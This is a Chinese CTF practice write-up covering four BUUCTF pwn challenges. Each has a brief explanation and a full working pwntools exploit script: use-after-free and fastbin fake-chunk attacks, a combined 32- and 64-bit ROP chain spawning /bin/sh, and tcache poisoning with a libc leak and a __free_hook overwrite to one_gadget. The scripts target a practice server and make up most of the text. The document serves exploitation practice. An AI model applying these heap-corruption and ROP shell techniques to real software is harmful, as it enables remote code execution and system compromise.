PWN-PRACTICE-BUUCTF-29

- actf_2019_babyheap
- wustctf2020_easyfast
- 強網杯2019 拟态 STKOF
- hitcon_2018_children_tcache

actf_2019_babyheap

UAF，建立兩個非0x10大小的chunk，比如兩個0x20

程式會建立四個chunk，大小依次為0x10，0x20，0x10，0x20

按序free掉建立的chunk，兩個0x10大小的chunk形成一條鍊，兩個0x20大小的chunk形成一條鍊

再建立一個0x10大小的chunk，會用到兩個在fastbin中0x10大小的chunk

新建立的chunk内容為"/bin/sh"的位址和system的實際位址

最後show(0)即可system("/bin/sh")

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ACTF_2019_babyheap")
io=remote("node4.buuoj.cn",27740)
elf=ELF("./ACTF_2019_babyheap")
libc=ELF("./libc-2.27-18-x64.so")

def add(size,content):
	io.sendlineafter("Your choice: ","1")
	io.sendlineafter("Please input size: \n",str(size))
	io.sendafter("Please input content: \n",content)
def free(index):
	io.sendlineafter("Your choice: ","2")
	io.sendlineafter("Please input list index: \n",str(index))
def show(index):
	io.sendlineafter("Your choice: ","3")
	io.sendlineafter("Please input list index: \n",str(index))

system_plt=elf.plt["system"]
binsh=0x602010

add(0x20,"aaaa")#0
add(0x20,"bbbb")#1

free(0)
free(1)

add(0x10,p64(binsh)+p64(system_plt))#2
show(0)

io.interactive()

wustctf2020_easyfast

UAF，根據0x602090位址處的值來決定是否執行system("/bin/sh")

想辦法在0x602090-0x10=0x602080處建立一個chunk，然後修改0x602090處的值為0

可以看到0x602088處有一個值0x50，實際上是當作fake chunk的size域

利用UAF，改寫chunk的fd域，使之指向0x602080處，再建立fake chunk改寫0x602090的值

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./wustctf2020_easyfast")
io=remote("node4.buuoj.cn",28112)
elf=ELF("./wustctf2020_easyfast")
libc=ELF("./libc-2.23-16-x64.so")

def add(size):
	io.sendlineafter("choice>\n","1")
	io.sendlineafter("size>\n",str(size))
def free(index):
	io.sendlineafter("choice>\n","2")
	io.sendlineafter("index>\n",str(index))
def edit(index,content):
	io.sendlineafter("choice>\n","3")
	io.sendlineafter("index>\n",str(index))
	io.sendline(content)
def shell():
	io.sendlineafter("choice>\n","4")

shell_flag=0x602090

add(0x40)#0
add(0x40)#1
free(0)
edit(0,p64(shell_flag-0x10))
add(0x40)#2
add(0x40)#3
edit(3,p64(0))
shell()
io.interactive()

強網杯2019 拟态 STKOF

棧溢出，但是加了拟态防禦，參考：拟态防禦題型pwn&web初探

# -*- coding:utf-8 -*-
from pwn import *
from struct import pack

def payload32():
	p = ''
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9064) # @ .data + 4
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080d9060) # @ .data
	p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x080d9060) # padding without overwrite ebx
	p += pack('<I', 0x0806e9cb) # pop edx ; ret
	p += pack('<I', 0x080d9068) # @ .data + 8
	p += pack('<I', 0x08056040) # xor eax, eax ; ret
	p += pack('<I', 0x080a8af6) # pop eax ; ret
	p += p32(0xb)
	p += pack('<I', 0x080495a3) # int 0x80
	return p
	
def payload64():
	p = ''
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e0) # @ .data
	p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006a10e0) # @ .data
	p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
	p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
	p += p64(0x3b)
	p += pack('<Q', 0x00000000004011dc) # syscall
	return p

io=remote("node4.buuoj.cn",25016)	
add_esp=0x080a8f69 # add esp, 0xc ; ret
add_rsp=0x00000000004079d5 # add esp, 0xd8 ; ret
payload="a"*0x10C+"\x00"*4+p64(add_esp)+p64(add_rsp)
payload+=payload32().ljust(0xd8,"\x00")
payload+=payload64()
io.sendline(payload)
io.interactive()

hitcon_2018_children_tcache

obo + tcache，參考：HITCON_2018_children_tcache

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./HITCON_2018_children_tcache")
io=remote("node4.buuoj.cn",25946)
elf=ELF("./HITCON_2018_children_tcache")
libc=ELF("./libc-2.27-18-x64.so")

def add(size,content):
	io.sendlineafter("Your choice: ","1")
	io.sendlineafter("Size:",str(size))
	io.sendlineafter("Data:",content)
def show(index):
	io.sendlineafter("Your choice: ","2")
	io.sendlineafter("Index:",str(index))
def free(index):
	io.sendlineafter("Your choice: ","3")
	io.sendlineafter("Index:",str(index))

#gdb.attach(io)
#pause()

add(0x410,"aaaa")#0
add(0xe8,"bbbb")#1
add(0x4f0,"cccc")#2
add(0x60,"dddd")#3

#pause()

free(0)

#pause()

free(1)

#pause()

for i in range(6):
	add(0xe8-i,"b"*(0xe8-i))
	free(0)

#pause()

add(0xe8,"b"*0xe0+p64(0x510))#0

#pause()

free(2) #合并chunk

#pause()

add(0x410,"aaaa")#1

#pause()

show(0)
offset=0x3ebca0
leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("leak_addr=="+hex(leak_addr))
libc_base=leak_addr-offset
print("libc_base=="+hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
ones=[0x4f2c5,0x4f322,0x10a38c]
one_gadget=libc_base+ones[1]

#pause()

add(0x60,"dddd")#2

#pause()

free(0)

#pause()

free(2) #double free

#pause()

add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
add(0x60,p64(one_gadget))

#pause()

free(0)

io.interactive()

PWN-PRACTICE-BUUCTF-29